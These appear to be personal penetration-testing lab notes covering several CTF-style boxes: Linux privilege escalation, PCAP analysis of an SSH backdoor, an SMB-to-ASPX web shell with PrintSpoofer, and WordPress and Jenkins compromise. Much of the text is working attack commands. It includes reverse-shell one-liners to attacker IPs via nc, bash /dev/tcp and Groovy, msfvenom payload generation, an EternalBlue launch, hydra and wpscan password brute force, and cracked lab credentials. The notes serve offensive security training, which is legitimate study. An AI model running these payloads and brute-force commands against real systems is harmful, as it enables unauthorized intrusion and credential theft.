![圖片](https://hackmd.io/_uploads/H1lFtCKRT.png) We obtain the Revershell !! ## Post-Exploitation **Shell Stabilization** ![圖片](https://hackmd.io/_uploads/B1tpY0YCT.png) **Privilege Escalation** Linux Privilege Check List 0x01 Useful Binary ? ``` which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` ![圖片](https://hackmd.io/_uploads/B1jps0YRp.png) 0x02 Running LinPEAS wget http://10.17.1.166:53/linpeas.sh -O /tmp/linpeas.sh chmod +x linpeas.sh 0x03 Systems information ![圖片](https://hackmd.io/_uploads/S1Mekk906.png) 0x04 Network Information ![圖片](https://hackmd.io/_uploads/H1ORgkqAp.png) 0x04 PATH is Writable ? Attempt PATH Hijack -> Require Root Script run some cmd(Target) ![圖片](https://hackmd.io/_uploads/Hk8Qwy906.png) 0x05 Kernel Exploit 0x06 Scheduled/Cron Jobs - Script Permission(w) & Scirpt exists?. - Cron jobs contain wilcard. ![圖片](https://hackmd.io/_uploads/ByxSwkqC6.png) 0x06 Sudo & SUID & cap_setuid Vulnerabile Binary ? Sudo -l (jjameson) ![圖片](https://hackmd.io/_uploads/H1I9oycAp.png) SUID ![圖片](https://hackmd.io/_uploads/SkVvVk9Cp.png) Capability ![圖片](https://hackmd.io/_uploads/r1NcNyq0p.png) LD_PRELOAD ? 0x07 NFS PRivilege? 0x08 If server have DB & web server check the configuration file (Default /var/www/html/ ![圖片](https://hackmd.io/_uploads/HJFFOkc0a.png) ![圖片](https://hackmd.io/_uploads/Hy0GKy5AT.png) DB cridential ``` root nv5uz9r3ZEDzVjNu ``` ![圖片](https://hackmd.io/_uploads/r1NesJcAp.png) Attempt use "n5uz9r3ZEDzVjNu" to switch user ![圖片](https://hackmd.io/_uploads/HJXEsyqRp.png) Abuse Sudo Obtain the root shell !! ![圖片](https://hackmd.io/_uploads/BJCSa1qRp.png) Solved! # 0x09 Ubuntu /PacketAnalysis/analysis Back door/Crack SHA-512 with salt/hack back/Suid -bash binary ## Forensics - Analysis the PCAP Analysis Pcap ![圖片](https://hackmd.io/_uploads/rkziYGsCa.png) ``` <?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.170.145 4242 >/tmp/f")?> ``` ![圖片](https://hackmd.io/_uploads/B1BP2fi06.png) ![圖片](https://hackmd.io/_uploads/BkBKRfs0p.png) ![圖片](https://hackmd.io/_uploads/BJK9CzjCp.png) ``` whenevernoteartinstant. ``` ![圖片](https://hackmd.io/_uploads/r1cW1QoCa.png) ``` .!.<git clone https://github.com/NinjaJc01/ssh-backdoor ``` ## Analysis BackDoor Code Analysis main.go ![圖片](https://hackmd.io/_uploads/HkzDBXsCa.png) Hard Code Hash ![圖片](https://hackmd.io/_uploads/Sy6tBXo06.png) ![圖片](https://hackmd.io/_uploads/BJXhrXoA6.png) Attack Hash ``` ./backdoor -a 6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed ``` Crack SHA-512 with salt (HASH CAT) ``` hashcat -m 1710 "6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed:1c362db832f3f864c8c2fe05f2002a05" rockyou.txt ``` ![圖片](https://hackmd.io/_uploads/S1B2I7jA6.png) ## Hacking Back ![圖片](https://hackmd.io/_uploads/ry4NrbnAT.png) Lookup the web application ![圖片](https://hackmd.io/_uploads/HkiFBWhRp.png) ![圖片](https://hackmd.io/_uploads/B1YPrZ2Aa.png) Upload Page have been removed Attempting use Back Door to login ![圖片](https://hackmd.io/_uploads/HyyJIWn0T.png) we will occur the issue about no negotiate with target ssh server, the reason is the OpenSSh server is not support ssh-ras algorithm. Adding the ssh-rsa algorithm ! ``` ssh james@10.10.131.203 -p 2222 -oHostKeyAlgorithms=+ssh-rsa ``` Attempting exploit sudo privilege to escalate the privilege. ![圖片](https://hackmd.io/_uploads/S1V7OWn0T.png) ![圖片](https://hackmd.io/_uploads/S1Sd_bhAp.png) we found the .suid_bash owner is root and the binary has been set the SUID bit. we can attempt to run it ``` .suid_pash -p ``` -p : let bash run with SUID bit ![圖片](https://hackmd.io/_uploads/rkfPK-h06.png) Solve ! # 0x10 Windows /SMB service share folder with web service/Upload ASPX web shell via smb service to RCE/Seimpersonation - PrintSpoofer ## Reconnaissance ### Nmap-Scanning ``` #/bin/sh echo " ################################################## # # # MeowHecker is a cat. # # # ################################################## " ATTACKER_IP=10.17.1.166; TARGET_IP=10.10.66.39; echo HOST Discover; nmap -RP -PS -sn --reason -T4 $TARGET_IP; echo "----------------------------------------------------------------------------------------------------"; echo Scanning Common Port TARGET_OPEN_PORTS=$(nmap -sS -Pn -T4 $TARGET_IP | awk '/^ *[0-9]+\/(tcp|udp)/ {print $1}' | cut -d "/" -f 1 | paste -sd ","); echo Defalut(1000 - port):$TARGET_OPEN_PORTS; echo "----------------------------------------------------------------------------------------------------"; echo "Identifying Services & Operating System & NSE Scanning" nmap -sT -Pn -p $TARGET_OPEN_PORTS -sV -O -sC -T4 $TARGET_IP -oX ./$TARGET_IP.Xmap; #searchsploit --name $TARGET_IP.Xmap echo "----------------------------------------------------------------------------------------------------"; sleep 10 echo "Starting ALL Port Scanning in background"; nmap -sS -Pn -p- -T4 $TARGET_IP -oN PortScan0~65535$TARGET_IP.nmap &; searchsploit --nmap $TARGET_IP.Xmap; ``` **Host is UP ? ** Yes/NO:yes ![圖片](https://hackmd.io/_uploads/Skcthb3C6.png) **Probing Common Ports** ![圖片](https://hackmd.io/_uploads/S13c3W3A6.png) **Identifying Services & Operating System & NSE Scanning** ![圖片](https://hackmd.io/_uploads/BkVVpb2RT.png) ![圖片](https://hackmd.io/_uploads/Hy3T6b3Ca.png) **Thorough Port Scanning (0~65535)** ## Discovery & Analysis Attack Surface ### Web 0x01 Identify WebService Technique - Language:ASP.NET - Applicaiton Name & Version -Microsoft ASP.NET Port:80/49663 ![圖片](https://hackmd.io/_uploads/SkRSRW3Aa.png) 0x02 Exists Known Vulnerability? Yes/NO:Unknow 0x03 Exists Specialised web Scanner? Yes/NO: No 0x04 Curl the websiet & Directory Brute-force Port:49663 ``` gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.211.255:49663/ ``` 0x05 SiteMap 0x06 Anaysis Target & interesting Things ? ### SMB/Netbios 0x01 Enumerate Service ``` enum4linux -a 10.10.66.39 ``` ![圖片](https://hackmd.io/_uploads/By3xeB3Cp.png) Using scanner/smb/smb_version Module ![圖片](https://hackmd.io/_uploads/HJmjUz30a.png) SMB version: 3.1.1 ![圖片](https://hackmd.io/_uploads/rkkNdfh0a.png) SMB ``` TARGET_IP=10.10.223.79; nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse $TARGET_IP ``` ![圖片](https://hackmd.io/_uploads/Bkc0hXn0p.png) ![圖片](https://hackmd.io/_uploads/r1k9rE2Cp.png) ![圖片](https://hackmd.io/_uploads/rJtwSN20a.png) ``` Qm9iIC0gIVBAJCRXMHJEITEyMw== QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk ``` 0x02 Exisits Public Exploit? YES/NO: NO ## Identifying Vulnerability **Web** Following the list https://book.hacktricks.xyz/pentesting-web/web-vulnerabilities-methodology None Vulnerability ! ## Exploitation ms17_010_eternalblue (FAIL) ``` msfconsole -q -x 'use exploit/windows/smb/ms17_010_eternalblue ;set RHOST 10.10.34.125 ; set lhost tun0; run;' ``` ![圖片](https://hackmd.io/_uploads/r1GZS72Ca.png) Fail ### Crack encoder ``` Qm9iIC0gIVBAJCRXMHJEITEyMw== QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk ``` https://www.asciitohex.com/ Base64 Decoding ``` Bob - !P@$$W0rD!123 Bill - Juw4nnaM4n420696969!$$$ ``` smbclient //$TARGET_IP/nt4wrksv -U Bob ![圖片](https://hackmd.io/_uploads/rJFDNB3CT.png) ![圖片](https://hackmd.io/_uploads/Sk28LB2Cp.png) 沒想法了 嘗試後面的掃出來的port ``` nmap -sT -Pn -p 49663,49667,49669 -sV -sC -T4 10.10.211.255 ``` ![圖片](https://hackmd.io/_uploads/B1oqFS3A6.png) ![圖片](https://hackmd.io/_uploads/SykUAB3C6.png) ![圖片](https://hackmd.io/_uploads/BkIC0Hn0p.png) We concern that smb directory mapping to web directory If we write ASP shell to SMB server the web may execute the web shell ![圖片](https://hackmd.io/_uploads/r14BW8hAa.png) Generate ASPX web Shell ``` msfvenom -p windows/x64/shell_reverse_tcp LHOST=tun0 LPORT=443 -f aspx > rev_shell.aspx ``` ![圖片](https://hackmd.io/_uploads/r1PLuIn0a.png) ## Post-Exploitation **Shell Stabilization** ### Privilege Escalation **Enumerate** ![圖片](https://hackmd.io/_uploads/Sygk9LhCT.png) **Exploit** https://github.com/itm4n/PrintSpoofer Windows 10 and Server 2016/2019. ![圖片](https://hackmd.io/_uploads/ryutiUn0T.png) Usage ``` PrintSpoofer.exe -i -c cmd ``` # 0x11 Ubuntu - /Wordpress-brute force/wordpress panel to RCE/ pivoting/jenkins penal To RCE(ROOT) ## Reconnaissance TARGET_IP=10.10.174.127 ATTACKER_IP=$(ip addr show tun0 | awk '/inet / {print $2}' | cut -d '/' -f 1) ### Nmap-Scanning **Host is UP ?** Yes/NO:Yes ![圖片](https://hackmd.io/_uploads/ry7WhZ60a.png) **Probing Common Ports** ![圖片](https://hackmd.io/_uploads/H1S_2bpCp.png) **Identifying Services & Operating System & NSE Scanning** ![image](https://hackmd.io/_uploads/HJAuR-pC6.png) OpenSSH 7.6p1 Ubuntu Apache httpd 2.4.29 **Thorough Port Scanning (0~65535)** ## Discovery & Analysis Attack Surface ### Web DNS setting -> 0x01 Identify Web Service Technique - Language:PHP - Applicaiton Name & Version - 'WordPress 5.4.2' -> /blog - - Port: 80 0x02 Exists Known Vulnerability? Yes/NO:Yes google ? (Identify the vulnerability is reliable !) Exploit - DB? GitHub ? ![image](https://hackmd.io/_uploads/r1bDtz6R6.png) 0x03 Exists Specialised web Scanner? Yes/NO:Yes https://github.com/wpscanteam/wpscan ``` wpscan --url $TARGET_IP/blog/ ``` ![image](https://hackmd.io/_uploads/HkbzNGT0p.png) -> 'WordPress 5.4.2' 0x04 Curl the website & Directory Brute-force ![image](https://hackmd.io/_uploads/r1srW760T.png) ``` http://10.10.174.127/blog/ http://10.10.174.127/wordpress/ http://10.10.174.127/javascript/ http://10.10.174.127/phpmyadmin/ ``` WordPress ``` gobuster dir -w /home/kali/Desktop/RedTools/wordpress.fuzz.txt -u http://$TARGET_IP:80/wordpress ``` 0x05 SiteMap 0x06 Analysis Target & interesting Things ? ### Network Service 0x01 Enumerate Service 0x02 Exisits Public Exploit? ## Identifying Vulnerability - Manual **Web** Following the list https://book.hacktricks.xyz/pentesting-web/web-vulnerabilities-methodology ## Exploitation Word Press Bypass is possible ![image](https://hackmd.io/_uploads/SyxeqMa06.png) https://github.com/N4nj0/CVE-2020-35590 (Limit Auth bypass - fail) ``` ./wp-brute.py -c -u http://10.10.174.127/blog/ -H X-Forwarded-For -l admin -P rockyou.txt ``` Attempt using wpscan to login ``` wpscan --url $TARGET_IP/blog/ --passwords rockyou.txt --usernames admin --max-threads 50 ``` my2boys ![image](https://hackmd.io/_uploads/ByOMeXaC6.png) ![image](https://hackmd.io/_uploads/SJ0yL7pA6.png) ![image](https://hackmd.io/_uploads/B1hML76Aa.png) ### Wordpress panel to Rce https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/wordpress#panel-rce ![image](https://hackmd.io/_uploads/Bk5Nd7p0p.png) ``` <?php echo "<pre>" . shell_exec("mkfifo /tmp/f; nc 10.17.1.166 80 < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f") . "</pre>"; ?> ``` ![image](https://hackmd.io/_uploads/B1X79XTAp.png) ![image](https://hackmd.io/_uploads/S15sdm6Cp.png) ``` http://internal.thm/blog/wp-content/themes/twentyseventeen/404.php ``` Obtain the reverse Shell ! ![image](https://hackmd.io/_uploads/SJnm5QTAa.png) ## Post-Exploitation **Shell Stabilization** ![image](https://hackmd.io/_uploads/rJchqmTCp.png) ### Privilege Escalation **Enumerate** Due to we compromise the host by web shell, the first thing is enumerate the database credential. ![image](https://hackmd.io/_uploads/ryPni7T0a.png) ``` // ** MySQL settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define( 'DB_NAME', 'wordpress' ); /** MySQL database username */ define( 'DB_USER', 'wordpress' ); /** MySQL database password */ define( 'DB_PASSWORD', 'wordpress123' ); /** MySQL hostname */ define( 'DB_HOST', 'localhost' ); /** Database Charset to use in creating database tables. */ define( 'DB_CHARSET', 'utf8' ); /** The Database Collate type. Don't change this if in doubt. */ define( 'DB_COLLATE', '' ); ``` ![image](https://hackmd.io/_uploads/HyU0nQT06.png) ![image](https://hackmd.io/_uploads/HJ9mp7TR6.png) ``` $P$BOFWK.UcwNR/tV/nZZvSA6j3bz/WIp/ ``` It look like a the panel of wordpress account ### Systems 0x01 Systems Information ![image](https://hackmd.io/_uploads/ByNgWNa0T.png) 0x02 The list of Useful Binary ![image](https://hackmd.io/_uploads/rJL--NaAa.png) 0x03 Account Information If Target systems have web & Database Search -> Configuration Credential(Notice ) ![image](https://hackmd.io/_uploads/BkEMZE6Rp.png) 0x04 PATH is Writable ? Yes/NO:Yes ![image](https://hackmd.io/_uploads/BJTXWNTC6.png) wget http://10.17.1.166:53/linpeas.sh -O /tmp/linpeas.sh chmod +x linpeas.sh 0x04 PATH is Writable ? Attempt PATH Hijack -> Require Root Script run some cmd(Target) 0x05 Kernel Exploit 0x06 Scheduled/Cron Jobs - Cron jobs contain wilcard? 0x06 Sudo 0x07 SUID & cap_setuid Vulnerabile Binary ? LD_PRELOAD ? 0x08 Other Server Be block by firewall ? ![image](https://hackmd.io/_uploads/B1tL4N60a.png) 0x08 NFS PRivilege? check the configuration file (Default /var/www/html/ 0xff Running LinPEAS ![image](https://hackmd.io/_uploads/BkgkK46Cp.png) **Exploit** ![image](https://hackmd.io/_uploads/rkqE14aA6.png) ![image](https://hackmd.io/_uploads/SkMkd46CT.png) ``` aubreanna:bubb13guM!@#123 ``` ![image](https://hackmd.io/_uploads/HyRgqVa0p.png) ### Bypass Firewall via local port forwarding ``` ssh -N -L 8080:localhost:8080 aubreanna@$TARGET_IP ``` ![image](https://hackmd.io/_uploads/B19C5V6RT.png) ### Numerate Internal service ![image](https://hackmd.io/_uploads/BJQxANaR6.png) Default ``` admin password ``` fail ![image](https://hackmd.io/_uploads/BynP04pA6.png) Exploit not found Jetty 9.4.30.v20200611 information disclosure -> fail Attempt Brute force login ![image](https://hackmd.io/_uploads/ryo9ZS6Aa.png) ``` /j_acegi_security_check j_username=meow&j_password=meowpass&from=%2F&Submit=Sign+in ``` Hydra ``` hydra -l "admin" -P rockyou.txt $TARGET_IP http-post-form "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password 選擇 Repo ``` ``` hydra -l "admin" -P rockyou.txt 127.0.0.1 -s 8080 http-post-form "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password" -v -t10 ``` ![image](https://hackmd.io/_uploads/S1zkVBT0T.png) login: admin password: spongebob ![image](https://hackmd.io/_uploads/ryjYNBpAa.png) ![image](https://hackmd.io/_uploads/SJUrrS60T.png) ![image](https://hackmd.io/_uploads/Hk6PrS60p.png) ![image](https://hackmd.io/_uploads/S10pHSp0T.png) Attempt ``` bash -i >& /dev/tcp/10.17.1.116/53 0>&1 ``` ![image](https://hackmd.io/_uploads/SyhtwrpCa.png) ![image](https://hackmd.io/_uploads/BkKcdraRa.png) ``` r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.17.1.116/53;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() ``` ![image](https://hackmd.io/_uploads/SJgsOHaCa.png) ![image](https://hackmd.io/_uploads/HJj_KBpCT.png) root: